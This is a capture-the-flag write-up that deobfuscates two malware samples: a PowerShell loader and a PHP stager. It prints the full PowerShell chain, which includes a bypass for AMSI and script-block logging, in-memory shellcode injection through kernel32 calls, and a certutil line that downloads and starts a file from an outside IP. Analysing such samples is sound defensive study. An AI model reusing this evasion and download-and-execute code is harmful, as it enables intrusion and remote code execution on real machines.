C:\Windows\SysWOW64\cmd.exe /c powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c $x_wa3=((''Sc''+''{2}i''+''pt{1}loc{0}Logg''+''in''+''g'')-f''k'',''B'',''r'');If($PSVersionTable.PSVersion.Major -ge 3){ $sw=((''E''+''nable{3}''+''c{''+''1}''+''ip{0}Bloc{2}Logging''+'''')-f''t'',''r'',''k'',''S''); $p8=[Collections.Generic.Dictionary[string,System.Object]]::new(); $gG0=((''Ena''+''ble{2}c{5}i{3}t{''+''4}loc''+''{0}{1}''+''nv''+''o''+''cationLoggi''+''ng'')-f''k'',''I'',''S'',''p'',''B'',''r''); $jXZ4D=[Ref].Assembly.GetType(((''{0}y''+''s''+''tem.{1}a''+''n''+''a{4}ement.A{5}t''+''omati''+''on.{2''+''}ti{3}s'')-f''S'',''M'',''U'',''l'',''g'',''u'')); $plhF=[Ref].Assembly.GetType(((''{''+''6}{''+''5}stem.''+''{''+''3''+''}{9}''+''n{9}{''+''2}ement''+''.{''+''8}{''+''4}t{''+''7''+''}''+''m{9}ti{7}n''+''.''+''{8''+''}''+''m''+''si{0''+''}ti{''+''1}s'')-f''U'',''l'',''g'',''M'',''u'',''y'',''S'',''o'',''A'',''a'')); if ($plhF) { $plhF.GetField(((''''+''a{''+''0}''+''si{4}''+''nit{''+''1}''+''ai''+''l{2}{''+''3}'')-f''m'',''F'',''e'',''d'',''I''),''NonPublic,Static'').SetValue($null,$true); }; $lCj=$jXZ4D.GetField(''cachedGroupPolicySettings'',''NonPublic,Static''); If ($lCj) { $a938=$lCj.GetValue($null); If($a938[$x_wa3]){ $a938[$x_wa3][$sw]=0; $a938[$x_wa3][$gG0]=0; } $p8.Add($gG0,0); $p8.Add($sw,0); $a938[''HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\''+$x_wa3]=$p8; } Else { [Ref].Assembly.GetType(((''S{2}{3}''+''t''+''em''+''.Mana''+''ge''+''ment.{''+''5}{4}to''+''mation.Scr''+''ipt{1}loc{0}'')-f''k'',''B'',''y'',''s'',''u'',''A'')).GetField(''signatures'',''NonPublic,Static'').SetValue($null,(New-Object Collections.Generic.HashSet[string])); }};&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(((''H4sI''+''AIeJ''+''G2UC/+1X''+''bU/jOBD+3l9hrS''+''IlkU{0}''+''VFvb{1}IiFdWqD''+''bPRJKS8vR''+''brUKy''+''TR168TFcQplb//7''+''jfNSygJ73{1}lI94F''+''IVvwyMx4/M''+''7YfT9PYl5TH''+''hH7sku8VUnxd''+''T3gRMTT/ku''+''/fWUSjS3Mzp''+''oX7zCWHxBjby+UR''+''jzwaTw4OWq''+''kQ{1}M''+''u8XW2''+''DtJM{1}''+''omtGI''+''TFM8he5nIGAnbP''+''rOfiSf''+''Cfat2qb8W''+''uPFW{0}rlufP''+''gOzYcaD''+''GTrnvKbeq/''+''SWj0tC/ftXN8U5''+''9Uj2+ST2''+''WGHp/nUiIqgFjuk''+''l+mGrCi/USDN2''+''hvuAJn8rqJY''+''13G9VBn''+''HhTcNHa''+''ChyQMx4''+''kul''+''nZ{0}{1}a''+''AT{1}Wcr0kZyUUMHa''+''tdwX0''+''7CAQkiW6RsTI''+''/nkx+N8bF''+''3{0}00''+''ljS''+''CaieWIPiyD''+''2JFfUiq''+''n704YNC''+''D6QS1+l{0}Q''+''OJyYJoq''+''t+AIM{0}U4Zs8''+''i/MWO4c''+''Fsi91olY1sJpbpS''+''mBYG''+''9Jl1OjxIG''+''eSa+jOO''+''5kl''+''g4pcngl''+''n5UalMy7''+''yJvPq''+''3o6eZs2mX''+''3zgbAHTX6PK''+''{1}Zr''+''qHp''+''GYRBy''+''f2JBdrbGoXIgVz''+''sgGbaNGe/Yf''+''1SmP1UhP1V''+''u0U''+''e8ZDToP''+''JRn0r''+''7tr0pj38q{1}''+''ReTuIjmNI''+''YjtaxF1G/''+''zFPjuWjAl{1}{1}GR''+''7UUc9{1}9Qy8''+''GIDgCB''+''q{1}nFb4qKZ6oHU''+''dUbnSbKWUB''+''CNvHiCb''+''oFQbbfO''+''xMHjJD78QORAhd3''+''sYs''+''1aa4O6''+''CU{0}nb''+''{1}upxdtVFIbz{1}v''+''SSzSTXF7+hbpg8c''+''gsIgdJ7QYs''+''lPJs6r+4K6T''+''Mkl9{0}5Glu''+''Yn5{1}5zFtC''+''0eJ1KkPgYVIbj''+''o{0}8''+''GnHlOIWO''+''QzDaC57''+''tOwnF5/Fo+Wxx''+''juG7S0wnhgj8''+''Kh{0}1Wq''+''CPQ0Swuz2g''+''fZiZYMIpTJjosT5''+''oV4''+''OBS7I''+''8st{0}4RAf8HRc''+''hPkGa+Q''+''KSHZchP''+''D3WdcWmRIhcTDR6''+''GM2fVfnHhy''+''6uTOtAQ''+''UwTGyvTVur''+''qXKfi0+P''+''W8sVI4WAGVwCI''+''lQn''+''AgeNb0{1}ftv{0}Dxjj''+''Q6dlh+/lvbyX''+''9/K/{0}22X+XG''+''vHr''+''RZ0mnV635''+''0N7''+''+6d''+''Pmob8sR''+''bf{0}gc+/2j''+''O6vT''+''ufHt856786''+''dO6lz{1}e5i''+''e302D2/PjuxV''+''tzFMr''+''xqfFqP{0}3nQU3''+''c1G''+''9zXmzq+''+''YGzn4P8b''+''iM7f''+''Rwf85lk''+''4+Nh8w5''+''36Q1Z17P6vn7''+''WP8h1gW2R/n+0''+''m2g8UuZ''+''M{0}M3kN7UYyHh''+''T17M5+aw22''+''ch1+GvZO{0}oc3+bF''+''+FX2jz''+''PmifrIOWvTq''+''nNhse''+''D91Ba+iPwsPD''+''D2ZlPKCx3G1M1{1}W''+''+qwhS''+''RWP+p/''+''2tS+Al6''+''ud4''+''Ipl5DC8H5HTl''+''FX3C''+''xUnB1{0}qcKg3DU''+''{1}x/''+''ASIGhvQYCXR5sd''+''mMcV+RxJzSIUP''+''NeaOisYNO''+''5tVzNZNsBM0''+''H9lh2HRyM''+''0{1}u8{0}{0}O7rH''+''oKcShnVu1ut1ZD''+''7le7q+3htfj6''+''pbX4cm3ktix''+''FHjNwNtZZZt2s''+''0CkxjDfHC9''+''8H{1}unK{0}xB7C''+''Tyce''+''4H0AvlOfukrCJ''+''ucs20A''+''i5Vt8''+''u{1}R''+''fghcHVc/Vq+''+''D{0}FPQxA7''+''c{1}{1}0q/rzFxrX0''+''+uz6TZOnIC8z/AX''+''/mDwPfb8YfVVC1a''+''wcoCfd''+''jzseiN/bIX''+''DpUYmCf''+''aRhDPKHwQtAFB''+''tmK8gqP{0}gbpsWn''+''Hspnq''+''dxx8''+''emlmODf2GZMc5''+''4PA''+''AA='')-f''L'',''E'')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"]

By reading the code, we can see a script block is created from an obfuscated base64-encoded gzip-stream.

&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(((''H4sI''+''AIeJ''+''G2UC/+1X''+''bU/jOBD+3l9hrS''+''IlkU{0}''+''VFvb{1}IiFdWqD''+''bPRJKS8vR''+''brUKy''+''TR168TFcQplb//7''+''jfNSygJ73{1}lI94F''+''IVvwyMx4/M''+''7YfT9PYl5TH''+''hH7sku8VUnxd''+''T3gRMTT/ku''+''/fWUSjS3Mzp''+''oX7zCWHxBjby+UR''+''jzwaTw4OWq''+''kQ{1}M''+''u8XW2''+''DtJM{1}''+''omtGI''+''TFM8he5nIGAnbP''+''rOfiSf''+''Cfat2qb8W''+''uPFW{0}rlufP''+''gOzYcaD''+''GTrnvKbeq/''+''SWj0tC/ftXN8U5''+''9Uj2+ST2''+''WGHp/nUiIqgFjuk''+''l+mGrCi/USDN2''+''hvuAJn8rqJY''+''13G9VBn''+''HhTcNHa''+''ChyQMx4''+''kul''+''nZ{0}{1}a''+''AT{1}Wcr0kZyUUMHa''+''tdwX0''+''7CAQkiW6RsTI''+''/nkx+N8bF''+''3{0}00''+''ljS''+''CaieWIPiyD''+''2JFfUiq''+''n704YNC''+''D6QS1+l{0}Q''+''OJyYJoq''+''t+AIM{0}U4Zs8''+''i/MWO4c''+''Fsi91olY1sJpbpS''+''mBYG''+''9Jl1OjxIG''+''eSa+jOO''+''5kl''+''g4pcngl''+''n5UalMy7''+''yJvPq''+''3o6eZs2mX''+''3zgbAHTX6PK''+''{1}Zr''+''qHp''+''GYRBy''+''f2JBdrbGoXIgVz''+''sgGbaNGe/Yf''+''1SmP1UhP1V''+''u0U''+''e8ZDToP''+''JRn0r''+''7tr0pj38q{1}''+''ReTuIjmNI''+''YjtaxF1G/''+''zFPjuWjAl{1}{1}GR''+''7UUc9{1}9Qy8''+''GIDgCB''+''q{1}nFb4qKZ6oHU''+''dUbnSbKWUB''+''CNvHiCb''+''oFQbbfO''+''xMHjJD78QORAhd3''+''sYs''+''1aa4O6''+''CU{0}nb''+''{1}upxdtVFIbz{1}v''+''SSzSTXF7+hbpg8c''+''gsIgdJ7QYs''+''lPJs6r+4K6T''+''Mkl9{0}5Glu''+''Yn5{1}5zFtC''+''0eJ1KkPgYVIbj''+''o{0}8''+''GnHlOIWO''+''QzDaC57''+''tOwnF5/Fo+Wxx''+''juG7S0wnhgj8''+''Kh{0}1Wq''+''CPQ0Swuz2g''+''fZiZYMIpTJjosT5''+''oV4''+''OBS7I''+''8st{0}4RAf8HRc''+''hPkGa+Q''+''KSHZchP''+''D3WdcWmRIhcTDR6''+''GM2fVfnHhy''+''6uTOtAQ''+''UwTGyvTVur''+''qXKfi0+P''+''W8sVI4WAGVwCI''+''lQn''+''AgeNb0{1}ftv{0}Dxjj''+''Q6dlh+/lvbyX''+''9/K/{0}22X+XG''+''vHr''+''RZ0mnV635''+''0N7''+''+6d''+''Pmob8sR''+''bf{0}gc+/2j''+''O6vT''+''ufHt856786''+''dO6lz{1}e5i''+''e302D2/PjuxV''+''tzFMr''+''xqfFqP{0}3nQU3''+''c1G''+''9zXmzq+''+''YGzn4P8b''+''iM7f''+''Rwf85lk''+''4+Nh8w5''+''36Q1Z17P6vn7''+''WP8h1gW2R/n+0''+''m2g8UuZ''+''M{0}M3kN7UYyHh''+''T17M5+aw22''+''ch1+GvZO{0}oc3+bF''+''+FX2jz''+''PmifrIOWvTq''+''nNhse''+''D91Ba+iPwsPD''+''D2ZlPKCx3G1M1{1}W''+''+qwhS''+''RWP+p/''+''2tS+Al6''+''ud4''+''Ipl5DC8H5HTl''+''FX3C''+''xUnB1{0}qcKg3DU''+''{1}x/''+''ASIGhvQYCXR5sd''+''mMcV+RxJzSIUP''+''NeaOisYNO''+''5tVzNZNsBM0''+''H9lh2HRyM''+''0{1}u8{0}{0}O7rH''+''oKcShnVu1ut1ZD''+''7le7q+3htfj6''+''pbX4cm3ktix''+''FHjNwNtZZZt2s''+''0CkxjDfHC9''+''8H{1}unK{0}xB7C''+''Tyce''+''4H0AvlOfukrCJ''+''ucs20A''+''i5Vt8''+''u{1}R''+''fghcHVc/Vq+''+''D{0}FPQxA7''+''c{1}{1}0q/rzFxrX0''+''+uz6TZOnIC8z/AX''+''/mDwPfb8YfVVC1a''+''wcoCfd''+''jzseiN/bIX''+''DpUYmCf''+''aRhDPKHwQtAFB''+''tmK8gqP{0}gbpsWn''+''Hspnq''+''dxx8''+''emlmODf2GZMc5''+''4PA''+''AA='')-f''L'',''E'')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';

To get the payload, we need to take the string inside of the FromBase64String call. Next, we have to replace the double single quotes with single quotes. Now we have a valid PowerShell expression.

(('H4sI'+'AIeJ'+'G2UC/+1X'+'bU/jOBD+3l9hrS'+'IlkU{0}'+'VFvb{1}IiFdWqD'+'bPRJKS8vR'+'brUKy'+'TR168TFcQplb//7'+'jfNSygJ73{1}lI94F'+'IVvwyMx4/M'+'7YfT9PYl5TH'+'hH7sku8VUnxd'+'T3gRMTT/ku'+'/fWUSjS3Mzp'+'oX7zCWHxBjby+UR'+'jzwaTw4OWq'+'kQ{1}M'+'u8XW2'+'DtJM{1}'+'omtGI'+'TFM8he5nIGAnbP'+'rOfiSf'+'Cfat2qb8W'+'uPFW{0}rlufP'+'gOzYcaD'+'GTrnvKbeq/'+'SWj0tC/ftXN8U5'+'9Uj2+ST2'+'WGHp/nUiIqgFjuk'+'l+mGrCi/USDN2'+'hvuAJn8rqJY'+'13G9VBn'+'HhTcNHa'+'ChyQMx4'+'kul'+'nZ{0}{1}a'+'AT{1}Wcr0kZyUUMHa'+'tdwX0'+'7CAQkiW6RsTI'+'/nkx+N8bF'+'3{0}00'+'ljS'+'CaieWIPiyD'+'2JFfUiq'+'n704YNC'+'D6QS1+l{0}Q'+'OJyYJoq'+'t+AIM{0}U4Zs8'+'i/MWO4c'+'Fsi91olY1sJpbpS'+'mBYG'+'9Jl1OjxIG'+'eSa+jOO'+'5kl'+'g4pcngl'+'n5UalMy7'+'yJvPq'+'3o6eZs2mX'+'3zgbAHTX6PK'+'{1}Zr'+'qHp'+'GYRBy'+'f2JBdrbGoXIgVz'+'sgGbaNGe/Yf'+'1SmP1UhP1V'+'u0U'+'e8ZDToP'+'JRn0r'+'7tr0pj38q{1}'+'ReTuIjmNI'+'YjtaxF1G/'+'zFPjuWjAl{1}{1}GR'+'7UUc9{1}9Qy8'+'GIDgCB'+'q{1}nFb4qKZ6oHU'+'dUbnSbKWUB'+'CNvHiCb'+'oFQbbfO'+'xMHjJD78QORAhd3'+'sYs'+'1aa4O6'+'CU{0}nb'+'{1}upxdtVFIbz{1}v'+'SSzSTXF7+hbpg8c'+'gsIgdJ7QYs'+'lPJs6r+4K6T'+'Mkl9{0}5Glu'+'Yn5{1}5zFtC'+'0eJ1KkPgYVIbj'+'o{0}8'+'GnHlOIWO'+'QzDaC57'+'tOwnF5/Fo+Wxx'+'juG7S0wnhgj8'+'Kh{0}1Wq'+'CPQ0Swuz2g'+'fZiZYMIpTJjosT5'+'oV4'+'OBS7I'+'8st{0}4RAf8HRc'+'hPkGa+Q'+'KSHZchP'+'D3WdcWmRIhcTDR6'+'GM2fVfnHhy'+'6uTOtAQ'+'UwTGyvTVur'+'qXKfi0+P'+'W8sVI4WAGVwCI'+'lQn'+'AgeNb0{1}ftv{0}Dxjj'+'Q6dlh+/lvbyX'+'9/K/{0}22X+XG'+'vHr'+'RZ0mnV635'+'0N7'+'+6d'+'Pmob8sR'+'bf{0}gc+/2j'+'O6vT'+'ufHt856786'+'dO6lz{1}e5i'+'e302D2/PjuxV'+'tzFMr'+'xqfFqP{0}3nQU3'+'c1G'+'9zXmzq+'+'YGzn4P8b'+'iM7f'+'Rwf85lk'+'4+Nh8w5'+'36Q1Z17P6vn7'+'WP8h1gW2R/n+0'+'m2g8UuZ'+'M{0}M3kN7UYyHh'+'T17M5+aw22'+'ch1+GvZO{0}oc3+bF'+'+FX2jz'+'PmifrIOWvTq'+'nNhse'+'D91Ba+iPwsPD'+'D2ZlPKCx3G1M1{1}W'+'+qwhS'+'RWP+p/'+'2tS+Al6'+'ud4'+'Ipl5DC8H5HTl'+'FX3C'+'xUnB1{0}qcKg3DU'+'{1}x/'+'ASIGhvQYCXR5sd'+'mMcV+RxJzSIUP'+'NeaOisYNO'+'5tVzNZNsBM0'+'H9lh2HRyM'+'0{1}u8{0}{0}O7rH'+'oKcShnVu1ut1ZD'+'7le7q+3htfj6'+'pbX4cm3ktix'+'FHjNwNtZZZt2s'+'0CkxjDfHC9'+'8H{1}unK{0}xB7C'+'Tyce'+'4H0AvlOfukrCJ'+'ucs20A'+'i5Vt8'+'u{1}R'+'fghcHVc/Vq+'+'D{0}FPQxA7'+'c{1}{1}0q/rzFxrX0'+'+uz6TZOnIC8z/AX'+'/mDwPfb8YfVVC1a'+'wcoCfd'+'jzseiN/bIX'+'DpUYmCf'+'aRhDPKHwQtAFB'+'tmK8gqP{0}gbpsWn'+'Hspnq'+'dxx8'+'emlmODf2GZMc5'+'4PA'+'AA=')-f'L','E')

Running this expression in a PowerShell session will return the deobfuscated string.

H4sIAIeJG2UC/+1XbU/jOBD+3l9hrSIlkULVFvbEIiFdWqDbPRJKS8vRbrUKyTR168TFcQplb//7jfNSygJ73ElI94FIVvwyMx4/M7YfT9PYl5THhH7sku8VUnxdT3gRMTT/ku/fWUSjS3MzpoX7zCWHxBjby+URjzwaTw4OWqkQEMu8XW2DtJMEomtGITFM8he5nIGAnbPrOfiSfCfat2qb8WuPFWLrlufPgOzYcaDGTrnvKbeq/SWj0tC/ftXN8U59Uj2+ST2WGHp/nUiIqgFjukl+mGrCi/USDN2hvuAJn8rqJY13G9VBnHhTcNHaChyQMx4kulnZLEaATEWcr0kZyUUMHatdwX07CAQkiW6RsTI/nkx+N8bF3L00ljSCaieWIPiyD2JFfUiqn704YNCD6QS1+lLQOJyYJoqt+AIMLU4Zs8i/MWO4cFsi91olY1sJpbpSmBYG9Jl1OjxIGeSa+jOO5klg4pcngln5UalMy7yJvPq3o6eZs2mX3zgbAHTX6PKEZrqHpGYRByf2JBdrbGoXIgVzsgGbaNGe/Yf1SmP1UhP1Vu0Ue8ZDToPJRn0r7tr0pj38qEReTuIjmNIYjtaxF1G/zFPjuWjAlEEGR7UUc9E9Qy8GIDgCBqEnFb4qKZ6oHUdUbnSbKWUBCNvHiCboFQbbfOxMHjJD78QORAhd3sYs1aa4O6CULnbEupxdtVFIbzEvSSzSTXF7+hbpg8cgsIgdJ7QYslPJs6r+4K6TMkl9L5GluYn5E5zFtC0eJ1KkPgYVIbjoL8GnHlOIWOQzDaC57tOwnF5/Fo+WxxjuG7S0wnhgj8KhL1WqCPQ0Swuz2gfZiZYMIpTJjosT5oV4OBS7I8stL4RAf8HRchPkGa+QKSHZchPD3WdcWmRIhcTDR6GM2fVfnHhy6uTOtAQUwTGyvTVurqXKfi0+PW8sVI4WAGVwCIlQnAgeNb0EftvLDxjjQ6dlh+/lvbyX9/K/L22X+XGvHrRZ0mnV6350N7+6dPmob8sRbfLgc+/2jO6vTufHt856786dO6lzEe5ie302D2/PjuxVtzFMrxqfFqPL3nQU3c1G9zXmzq+YGzn4P8biM7fRwf85lk4+Nh8w536Q1Z17P6vn7WP8h1gW2R/n+0m2g8UuZMLM3kN7UYyHhT17M5+aw22ch1+GvZOLoc3+bF+FX2jzPmifrIOWvTqnNhseD91Ba+iPwsPDD2ZlPKCx3G1M1EW+qwhSRWP+p/2tS+Al6ud4Ipl5DC8H5HTlFX3CxUnB1LqcKg3DUEx/ASIGhvQYCXR5sdmMcV+RxJzSIUPNeaOisYNO5tVzNZNsBM0H9lh2HRyM0Eu8LLO7rHoKcShnVu1ut1ZD7le7q+3htfj6pbX4cm3ktixFHjNwNtZZZt2s0CkxjDfHC98HEunKLxB7CTyce4H0AvlOfukrCJucs20Ai5Vt8uERfghcHVc/Vq+DLFPQxA7cEE0q/rzFxrX0+uz6TZOnIC8z/AX/mDwPfb8YfVVC1awcoCfdjzseiN/bIXDpUYmCfaRhDPKHwQtAFBtmK8gqPLgbpsWnHspnqdxx8emlmODf2GZMc54PAAA=

To decode this, we need to base64 decode the string and decompress the gzip compressed data in the result. This can easily be done using CyberChef.

After decoding the next stage of the malware, we get the following PowerShell script.

function i5P {
        Param ($cWo8x, $ip)
        $g8lN = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        return $g8lN.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($g8lN.GetMethod('GetModuleHandle')).Invoke($null, @($cWo8x)))), $ip))
}

function ma1_D {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $m4AK,
                [Parameter(Position = 1)] [Type] $vGu = [Void]
        )

        $fqGV5 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $fqGV5.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $m4AK).SetImplementationFlags('Runtime, Managed')
        $fqGV5.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $vGu, $m4AK).SetImplementationFlags('Runtime, Managed')

        return $fqGV5.CreateType()
}

[Byte[]]$nLQ2k = [System.Convert]::FromBase64String("ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNlcnR1dGlsIC11cmxjYWNoZSAtZiBodHRwOi8vLjEwMy4xNjMuMTg3LjEyOjgwODAvP2VuY29kZWRfZmxhZz0lNjYlNmMlNjElNjclN2IlNjQlNjIlNjYlNjUlMzUlNjYlMzclMzUlMzUlNjElMzglMzklMzglNjMlNjUlMzUlNjYlMzIlMzAlMzglMzglNjIlMzAlMzglMzklMzIlMzglMzUlMzAlNjIlNjYlMzclN2QgJVRFTVAlXGYgJiBzdGFydCAvQiAlVEVNUCVcZg==")
[Uint32]$fal3 = 0
$lc98 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((i5P kernel32.dll VirtualAlloc), (ma1_D @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $nLQ2k.Length,0x3000, 0x04)

[System.Runtime.InteropServices.Marshal]::Copy($nLQ2k, 0, $lc98, $nLQ2k.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((i5P kernel32.dll VirtualProtect), (ma1_D @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($lc98, [Uint32]$nLQ2k.Length, 0x10, [Ref]$fal3)) -eq $true) {
        $ubOb = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((i5P kernel32.dll CreateThread), (ma1_D @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lc98,[IntPtr]::Zero,0,[IntPtr]::Zero)
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((i5P kernel32.dll WaitForSingleObject), (ma1_D @([IntPtr], [Int32]))).Invoke($ubOb,0xffffffff) | Out-Null
}

In the script, there’s another base64 encoded payload. Decoding the payload returns the following.

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  certutil -urlcache -f http://.103.163.187.12:8080/?encoded_flag=%66%6c%61%67%7b%64%62%66%65%35%66%37%35%35%61%38%39%38%63%65%35%66%32%30%38%38%62%30%38%39%32%38%35%30%62%66%37%7d %TEMP%\f & start /B %TEMP%\f

URL decoding the encoded_flag parameter returns the flag.

flag{dbfe5f755a898ce5f2088b0892850bf7}


PHP Stager

Malware

Description

Ugh, we found PHP set up as an autorun to stage some other weird shady stuff. Can you unravel the payload?

Solution

Checking out the attached PHP file, we find that it’s obfuscated.

<?php

 function deGRi($wyB6B, $w3Q12 = '') { $zZ096 = $wyB6B; $pCLb8 = ''; for ($fMp3G = 0; $fMp3G < strlen($zZ096);) { for ($oxWol = 0; $oxWol < strlen($w3Q12) && $fMp3G < strlen($zZ096); $oxWol++, $fMp3G++) { $pCLb8 .= $zZ096[$fMp3G] ^ $w3Q12[$oxWol]; } } return $pCLb8; }
/*iNsGNGYwlzdJjfaQJIGRtTokpZOTeLzrQnnBdsvXYlQCeCPPBElJTcuHmhkJjFXmRHApOYlqePWotTXHMuiuNfUYCjZsItPbmUiXSxvEEovUceztrezYbaOileiVBabK*/

$lBuAnNeu5282 = ")o4la2cih1kp97rmt*x5dw38b(sfy6;envguz_jq/.0";
$gbaylYLd6204 = "LmQ9AT8aND16c <snip> WGxcJXwB9A2t4";
$fsPwhnfn8423 = "";
$oZjuNUpA325 = "";
foreach([24,4,26,31,29,2,37,20,31,6,1,20,31] as $k){
   $fsPwhnfn8423 .= $lBuAnNeu5282[$k];
}
foreach([26,16,14,14,31,33] as $k){
   $oZjuNUpA325 .= $lBuAnNeu5282[$k];
}

/*aajypPZLxFoueiuYpHkwIQbmoSLrNBGmiaDTgcWLKRANAfJxGeoOIzIjLBHHsVEHKTrhqhmFqWgapWrPsuMYcbIZBcXQrjWWEGzoUgWsqUfgyHtbwEDdQxcJKxGTJqIe*/

$k = $oZjuNUpA325('n'.''.''.'o'.''.''.'i'.''.'t'.''.'c'.''.'n'.''.'u'.'f'.''.''.''.''.'_'.''.''.''.'e'.''.'t'.''.'a'.''.'e'.''.''.''.''.'r'.''.''.''.''.'c');
$c = $k("/*XAjqgQvv4067*/", $fsPwhnfn8423( deGRi($fsPwhnfn8423($gbaylYLd6204), "tVEwfwrN302")));
$c();

/*TnaqRZZZJMyfalOgUHObXMPnnMIQvrNgBNUkiLwzwxlYWIDfMEsSyVVKkUfFBllcCgiYSrnTCcqLlZMXXuqDsYwbAVUpaZeRXtQGWQwhcAQrUknJCeHiFTpljQdRSGpz*/

Here we can see that the huge string in $gbaylYLd6204 most likely is the next stage of the malware. So let’s begin the deobfuscation of the script to recover the next stage.

Working backwards, we can find a call to $c(), which is assigned on the previous row.

$c = $k("/*XAjqgQvv4067*/", $fsPwhnfn8423( deGRi($fsPwhnfn8423($gbaylYLd6204), "tVEwfwrN302")));

Starting with $k, we see that it’s assigned on the line above.

$k = $oZjuNUpA325('n'.''.''.'o'.''.''.'i'.''.'t'.''.'c'.''.'n'.''.'u'.'f'.''.''.''.''.'_'.''.''.''.'e'.''.'t'.''.'a'.''.'e'.''.''.''.''.'r'.''.''.''.''.'c');

The assignment of $oZjuNUpA325 happens some lines up in the code.

foreach([26,16,14,14,31,33] as $k){
   $oZjuNUpA325 .= $lBuAnNeu5282[$k];
}

The value of $oZjuNUpA325 is based on the variable $lBuAnNeu5282 and the indices in the for loop. Extracting the values at the indices we get $lBuAnNeu5282 = "strrev".

Updating the assignment of $k we get $k = strrev('n'.''.''.'o'.''.''.'i'.''.'t'.''.'c'.''.'n'.''.'u'.'f'.''.''.''.''.'_'.''.''.''.'e'.''.'t'.''.'a'.''.'e'.''.''.''.''.'r'.''.''.''.''.'c');, and running strrev on the string gives us $k = "create_function".

Now we can update the assignment of $c.

$c = create_function("/*XAjqgQvv4067*/", $fsPwhnfn8423( deGRi($fsPwhnfn8423($gbaylYLd6204), "tVEwfwrN302")));

Next, we have the variable $fsPwhnfn8423, which is assigned in the same way as the strrev assignment.

foreach([24,4,26,31,29,2,37,20,31,6,1,20,31] as $k){
   $fsPwhnfn8423 .= $lBuAnNeu5282[$k];
}

After extracting the values at the indices from $lBuAnNeu5282, we get the string base64_decode. After updating the $c assignment, we have the following code.

$c = create_function("/*XAjqgQvv4067*/", base64_decode( deGRi(base64_decode($gbaylYLd6204), "tVEwfwrN302")));

Now we have to find out what the deGRi function does. After cleaning up the code, we have the following code.

function xor_decode($input, $key = '') {
    $return_value = '';
    for ($i = 0; $i < strlen($input);) { 
        for ($j = 0; $j < strlen($key) && $i < strlen($input); $j++, $i++) { 
            $return_value .= $input[$i] ^ $key[$j]; 
        } 
    } return $return_value; 
}

Which is a standard XOR decoding function, updating the $c assignment code, we now have the following.

$c = create_function("/*XAjqgQvv4067*/", base64_decode( xor_decode(base64_decode($gbaylYLd6204), "tVEwfwrN302")));

